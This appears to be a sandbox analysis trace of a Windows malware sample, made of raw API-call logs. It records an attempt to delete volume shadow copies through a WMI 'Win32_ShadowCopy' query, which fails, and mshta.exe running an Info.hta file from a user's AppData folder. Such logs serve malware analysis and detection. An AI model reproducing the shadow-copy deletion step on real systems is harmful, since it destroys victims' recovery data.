[0067.452] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.452] lstrlenW (lpString="DELETE") returned 6 [0067.452] lstrlenW (lpString="delete") returned 6 [0067.452] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0067.452] malloc (_Size=0xc) returned 0x2142078 [0067.452] lstrlenA (lpString="") returned 0 [0067.452] malloc (_Size=0x2) returned 0x452860 [0067.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd26a2, cbMultiByte=-1, lpWideCharStr=0x452860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0067.452] free (_Block=0x452860) [0067.452] malloc (_Size=0xc) returned 0x21420c0 [0067.452] lstrlenA (lpString="") returned 0 [0067.453] malloc (_Size=0x2) returned 0x452860 [0067.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd26a2, cbMultiByte=-1, lpWideCharStr=0x452860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0067.453] free (_Block=0x452860) [0067.453] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.453] malloc (_Size=0x3e) returned 0x45ff68 [0067.453] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.453] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xc2cec568 | out: _String="Select", _Context=0xc2cec568) returned="Select" [0067.453] malloc (_Size=0xc) returned 0x2142168 [0067.453] free (_Block=0x21420c0) [0067.453] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc2cec568 | out: _String=0x0, _Context=0xc2cec568) returned="*" [0067.453] lstrlenW (lpString="FROM") returned 4 [0067.453] lstrlenW (lpString="*") returned 1 [0067.453] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0067.453] malloc (_Size=0xc) returned 0x21420c0 [0067.453] free (_Block=0x2142168) [0067.453] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc2cec568 | out: _String=0x0, _Context=0xc2cec568) returned="from" [0067.453] lstrlenW (lpString="FROM") returned 4 [0067.453] lstrlenW (lpString="from") returned 4 [0067.453] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0067.453] malloc (_Size=0xc) returned 0x2142168 [0067.453] free (_Block=0x21420c0) [0067.453] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc2cec568 | out: _String=0x0, _Context=0xc2cec568) returned="Win32_ShadowCopy" [0067.453] malloc (_Size=0xc) returned 0x21420c0 [0067.454] free (_Block=0x2142168) [0067.454] free (_Block=0x45ff68) [0067.454] malloc (_Size=0xc) returned 0x2142168 [0067.454] malloc (_Size=0xc) returned 0x21420a8 [0067.454] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0067.454] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0067.454] free (_Block=0x2142078) [0067.454] free (_Block=0x2142168) [0067.454] ??0CHString@@QAE@XZ () returned 0x2bfa5c [0067.454] GetCurrentThreadId () returned 0xcc4 [0067.454] malloc (_Size=0xc) returned 0x2142168 [0067.454] malloc (_Size=0xc) returned 0x2142078 [0067.454] malloc (_Size=0xc) returned 0x2142108 [0067.454] malloc (_Size=0xc) returned 0x2142120 [0067.454] malloc (_Size=0xc) returned 0x2142138 [0067.454] SysStringLen (param_1="\\\\") returned 0x2 [0067.454] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0067.455] malloc (_Size=0xc) returned 0x2142150 [0067.455] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0067.455] SysStringLen (param_1="\\") returned 0x1 [0067.455] malloc (_Size=0xc) returned 0x2142180 [0067.455] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0067.455] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0067.498] free (_Block=0x2142150) [0067.498] free (_Block=0x2142138) [0067.498] free (_Block=0x2142120) [0067.499] free (_Block=0x2142108) [0067.499] free (_Block=0x2142078) [0067.499] free (_Block=0x2142168) [0067.499] malloc (_Size=0xc) returned 0x2142168 [0067.499] malloc (_Size=0xc) returned 0x2142078 [0067.499] malloc (_Size=0xc) returned 0x2142108 [0067.499] WbemLocator:IWbemLocator:ConnectServer (in: This=0x190828, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xd1c204 | out: ppNamespace=0xd1c204*=0x19d0bc) returned 0x0 [0067.512] free (_Block=0x2142108) [0067.512] free (_Block=0x2142078) [0067.512] free (_Block=0x2142168) [0067.512] CoSetProxyBlanket (pProxy=0x19d0bc, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0067.512] free (_Block=0x2142180) [0067.512] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.512] ??0CHString@@QAE@XZ () returned 0x2bfa54 [0067.512] GetCurrentThreadId () returned 0xcc4 [0067.512] malloc (_Size=0xc) returned 0x2142180 [0067.512] lstrlenA (lpString="") returned 0 [0067.513] malloc (_Size=0x2) returned 0x452860 [0067.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd26a2, cbMultiByte=-1, lpWideCharStr=0x452860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0067.513] free (_Block=0x452860) [0067.513] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0067.513] SysStringLen (param_1="") returned 0x0 [0067.513] free (_Block=0x2142180) [0067.513] malloc (_Size=0xc) returned 0x2142180 [0067.513] IWbemServices:ExecQuery (in: This=0x19d0bc, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x2bfa50 | out: ppEnum=0x2bfa50*=0x0) returned 0x80041014 [0069.719] free (_Block=0x2142180) [0069.719] _CxxThrowException () [0069.719] malloc (_Size=0x10) returned 0x2142180 [0069.719] ??1CHString@@QAE@XZ () returned 0x74c20504 [0069.719] free (_Block=0x21420c0) [0069.720] free (_Block=0x21420a8) [0069.720] GetCurrentThreadId () returned 0xcc4 [0069.720] ??0CHString@@QAE@PBG@Z () returned 0x2bfb14 [0069.720] ??YCHString@@QAEABV0@PBG@Z () returned 0x2bfb14 [0069.720] ??0CHString@@QAE@XZ () returned 0x2bf9d8 [0069.720] malloc (_Size=0xc) returned 0x21420a8 [0069.720] malloc (_Size=0xc) returned 0x21420c0 [0069.720] SysStringLen (param_1="") returned 0x0 [0069.720] free (_Block=0x21420a8) [0069.720] CoCreateInstance (in: rclsid=0xcd6cb0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xcd6c00*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0xd1c21c | out: ppv=0xd1c21c*=0x190810) returned 0x0 [0069.723] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x190810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x2bf9f0 | out: MessageText=0x2bf9f0*="Initialization failure\r\n") returned 0x0 [0069.723] free (_Block=0x21420c0) [0069.723] malloc (_Size=0xc) returned 0x21420c0 [0069.723] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x190810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x2bfa14 | out: MessageText=0x2bfa14*="WMI") returned 0x0 [0069.723] malloc (_Size=0xc) returned 0x21420a8 [0069.723] lstrlenW (lpString="WMI") returned 3 [0069.723] lstrlenW (lpString="Wbem") returned 4 [0069.723] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0069.723] lstrlenW (lpString="WMI") returned 3 [0069.723] lstrlenW (lpString="WMI") returned 3 [0069.723] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0069.724] WbemStatusCodeText:IUnknown:Release (This=0x190810) returned 0x0 [0069.724] ??1CHString@@QAE@XZ () returned 0x74c20504 [0069.724] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x2bf240, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0069.724] FormatMessageW (in: dwFlags=0x2500, lpSource=0x2bf240, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x2bf23c, nSize=0x0, Arguments=0x2bf228 | out: lpBuffer="濘rERROR:\r\nDescription = %1") returned 0x2e [0069.724] malloc (_Size=0xc) returned 0x2142168 [0069.724] LocalFree (hMem=0x726fd8) returned 0x0 [0069.724] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0069.724] malloc (_Size=0x2f) returned 0x2142448 [0069.724] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x2142448, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0069.724] fprintf (in: _File=0x76be2940, _Format="%s" | out: _File=0x76be2940) returned 46 [0069.727] fflush (in: _File=0x76be2940 | out: _File=0x76be2940) returned 0 [0069.727] free (_Block=0x2142448) [0069.727] free (_Block=0x2142168) [0069.727] free (_Block=0x21420a8) [0069.727] free (_Block=0x21420c0) [0069.727] ??1CHString@@QAE@XZ () returned 0x1 [0069.727] ??0CHString@@QAE@PBG@Z () returned 0x2bfb34 [0069.727] ??YCHString@@QAEABV0@PBG@Z () returned 0x2bfb34 [0069.727] GetCurrentThreadId () returned 0xcc4 [0069.727] ??1CHString@@QAE@XZ () returned 0x1 [0069.727] WbemLocator:IUnknown:Release (This=0x19d0bc) returned 0x0 [0069.735] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0069.736] free (_Block=0x2142180) [0069.736] _kbhit () returned 0x0 [0069.736] free (_Block=0x453228) [0069.736] free (_Block=0x2142060) [0069.737] free (_Block=0x45fe88) [0069.737] free (_Block=0x45fe70) [0069.737] free (_Block=0x45fe58) [0069.737] free (_Block=0x4531c8) [0069.737] free (_Block=0x45eb88) [0069.737] free (_Block=0x45ff30) [0069.737] free (_Block=0x21420d8) [0069.737] free (_Block=0x45feb0) [0069.737] free (_Block=0x21420f0) [0069.737] free (_Block=0x45ebc8) [0069.737] free (_Block=0x45ff20) [0069.737] free (_Block=0x452ee0) [0069.737] free (_Block=0x45fef8) [0069.737] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0069.737] free (_Block=0x4531f8) [0069.737] free (_Block=0x45eba8) [0069.737] free (_Block=0x2142090) [0069.737] free (_Block=0x452788) [0069.737] free (_Block=0x4527d0) [0069.737] free (_Block=0x452818) [0069.737] free (_Block=0x45ebe8) [0069.737] free (_Block=0x4528c8) [0069.737] free (_Block=0x452ec8) [0069.737] free (_Block=0x45e8c8) [0069.737] free (_Block=0x452eb0) [0069.737] free (_Block=0x45e8a8) [0069.737] free (_Block=0x452e98) [0069.737] free (_Block=0x45e888) [0069.737] free (_Block=0x452a10) [0069.738] free (_Block=0x452a28) [0069.738] free (_Block=0x4529d8) [0069.738] free (_Block=0x4529f0) [0069.738] free (_Block=0x452a48) [0069.738] free (_Block=0x452a60) [0069.738] free (_Block=0x452a80) [0069.738] free (_Block=0x45e868) [0069.738] free (_Block=0x452968) [0069.738] free (_Block=0x452980) [0069.738] free (_Block=0x452930) [0069.738] free (_Block=0x452948) [0069.738] free (_Block=0x4529a0) [0069.738] free (_Block=0x4529b8) [0069.738] free (_Block=0x4528f8) [0069.738] free (_Block=0x452910) [0069.738] free (_Block=0x452880) [0069.738] free (_Block=0x453fb8) [0069.738] free (_Block=0x21405b0) [0069.738] WbemLocator:IUnknown:Release (This=0x190828) returned 0x2 [0069.738] WbemLocator:IUnknown:Release (This=0x19d064) returned 0x0 [0069.739] WbemLocator:IUnknown:Release (This=0x19d00c) returned 0x0 [0069.744] WbemLocator:IUnknown:Release (This=0x190828) returned 0x1 [0069.744] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0069.744] WbemLocator:IUnknown:Release (This=0x190828) returned 0x0 [0069.744] free (_Block=0x45fdf8) [0069.745] free (_Block=0x45fe10) [0069.745] free (_Block=0x45eb48) [0069.745] free (_Block=0x45fe28) [0069.745] free (_Block=0x45fe40) [0069.745] free (_Block=0x45eb68) [0069.745] free (_Block=0x45fcd8) [0069.745] free (_Block=0x45fcf0) [0069.745] free (_Block=0x45ea88) [0069.745] free (_Block=0x45fd08) [0069.745] free (_Block=0x45fd20) [0069.745] free (_Block=0x45eaa8) [0069.745] free (_Block=0x45fc78) [0069.745] free (_Block=0x45fc90) [0069.745] free (_Block=0x45ea48) [0069.745] free (_Block=0x45fca8) [0069.745] free (_Block=0x45fcc0) [0069.745] free (_Block=0x45ea68) [0069.745] free (_Block=0x45fd98) [0069.745] free (_Block=0x45fdb0) [0069.745] free (_Block=0x45eb08) [0069.746] free (_Block=0x45fdc8) [0069.746] free (_Block=0x45fde0) [0069.746] free (_Block=0x45eb28) [0069.746] free (_Block=0x45fc18) [0069.746] free (_Block=0x45fc30) [0069.746] free (_Block=0x45ea08) [0069.746] free (_Block=0x45fc48) [0069.746] free (_Block=0x45fc60) [0069.746] free (_Block=0x45ea28) [0069.746] free (_Block=0x45fd38) [0069.746] free (_Block=0x45fd50) [0069.746] free (_Block=0x45eac8) [0069.746] free (_Block=0x45fd68) [0069.747] free (_Block=0x45fd80) [0069.747] free (_Block=0x45eae8) [0069.747] free (_Block=0x45fb88) [0069.747] free (_Block=0x45fba0) [0069.747] free (_Block=0x45e9a8) [0069.747] free (_Block=0x453160) [0069.747] free (_Block=0x453178) [0069.747] free (_Block=0x45e908) [0069.747] free (_Block=0x452f28) [0069.747] free (_Block=0x452f40) [0069.747] free (_Block=0x45e8e8) [0069.747] free (_Block=0x45faf8) [0069.747] free (_Block=0x45fb10) [0069.747] free (_Block=0x45e948) [0069.747] free (_Block=0x45fbb8) [0069.748] free (_Block=0x45fbd0) [0069.748] free (_Block=0x45e9c8) [0069.748] free (_Block=0x45fac8) [0069.748] free (_Block=0x45fae0) [0069.748] free (_Block=0x45e928) [0069.748] free (_Block=0x45fb28) [0069.748] free (_Block=0x45fb40) [0069.748] free (_Block=0x45e968) [0069.748] free (_Block=0x45fb58) [0069.748] free (_Block=0x45fb70) [0069.748] free (_Block=0x45e988) [0069.748] free (_Block=0x45fbe8) [0069.748] free (_Block=0x45fc00) [0069.749] free (_Block=0x45e9e8) [0069.749] CoUninitialize () [0072.402] exit (_Code=-2147217388) [0072.402] free (_Block=0x453190) [0072.402] free (_Block=0x453e88) [0072.402] ??1CHString@@QAE@XZ () returned 0x74c20504 [0072.402] free (_Block=0x453000) [0072.402] free (_Block=0x4528e8) [0072.402] free (_Block=0x453e68) [0072.402] free (_Block=0x453e48) [0072.402] free (_Block=0x453e18) [0072.402] free (_Block=0x453df8) [0072.402] free (_Block=0x453dc8) [0072.402] free (_Block=0x4513d8) [0072.402] free (_Block=0x4513b8) [0072.402] ??1CHString@@QAE@XZ () returned 0x74c20504 [0072.402] free (_Block=0x452f58) Thread: id = 108 os_tid = 0xe70 Thread: id = 232 os_tid = 0xfe0 Thread: id = 233 os_tid = 0xfe4 Thread: id = 234 os_tid = 0xfe8 Thread: id = 235 os_tid = 0xfec Process: id = "38" image_name = "mshta.exe" filename = "c:\\windows\\syswow64\\mshta.exe" page_root = "0x2e313000" os_pid = "0xcd4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "\"C:\\Windows\\SysWOW64\\mshta.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0xcd8 [0042.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30fa4c | out: lpSystemTimeAsFileTime=0x30fa4c*(dwLowDateTime=0xa9c82860, dwHighDateTime=0x1d5e09d)) [0042.129] GetCurrentProcessId () returned 0xcd4 [0042.129] GetCurrentThreadId () returned 0xcd8 [0042.129] GetTickCount () returned 0x115587d [0042.129] QueryPerformanceCounter (in: lpPerformanceCount=0x30fa44 | out: lpPerformanceCount=0x30fa44*=18400021081) returned 1 [0042.129] GetModuleHandleA (lpModuleName=0x0) returned 0x620000 [0042.129] GetStartupInfoA (in: lpStartupInfo=0x30f958 | out: lpStartupInfo=0x30f958*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\SysWOW64\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0042.129] GetVersionExA (in: lpVersionInformation=0x30f9a8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x30f9a8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0042.129] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x190000 [0042.130] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0042.130] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0042.130] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0042.130] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0042.130] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0042.130] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.130] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0042.130] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.130] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0042.130] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.131] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0042.131] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.131] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0042.131] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.131] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0042.131] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.131] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0042.131] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.131] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0042.131] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.131] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.131] GetModuleHandleW (lpModuleName="kernelbase.dll") returned 0x75410000 [0042.132] GetProcAddress (hModule=0x75410000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7542004f [0042.132] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.132] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0042.132] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.132] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.132] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.132] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.132] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.132] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.132] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.132] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.133] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.133] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.133] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.133] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.133] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.133] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.133] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.133] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.133] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.133] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.133] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.134] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.134] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.134] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.134] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.134] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.134] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.134] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.134] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.134] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.134] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x214) returned 0x1907d0 [0042.135] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.135] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.135] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0042.135] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0042.135] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0042.135] GetStartupInfoA (in: lpStartupInfo=0x30f8dc | out: lpStartupInfo=0x30f8dc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\SysWOW64\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0042.135] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x480) returned 0x1909f0 [0042.135] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.135] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0042.135] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0042.135] SetHandleCount (uNumber=0x20) returned 0x20 [0042.135] GetCommandLineA () returned="\"C:\\Windows\\SysWOW64\\mshta.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta\" " [0042.135] GetEnvironmentStringsW () returned 0x8001a8* [0042.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0042.135] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x565) returned 0x190e78 [0042.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x190e78, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0042.136] FreeEnvironmentStringsW (penv=0x8001a8) returned 1 [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetACP () returned 0x4e4 [0042.136] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x220) returned 0x1913e8 [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x30f8b4 | out: lpCPInfo=0x30f8b4) returned 1 [0042.136] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x30f380 | out: lpCPInfo=0x30f380) returned 1 [0042.600] GetLastError () returned 0x0 [0042.600] SetLastError (dwErrCode=0x0) [0042.600] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x30f310 | out: lpCharType=0x30f310) returned 1 [0042.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f794, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f794, cbMultiByte=256, lpWideCharStr=0x30f0f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.601] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 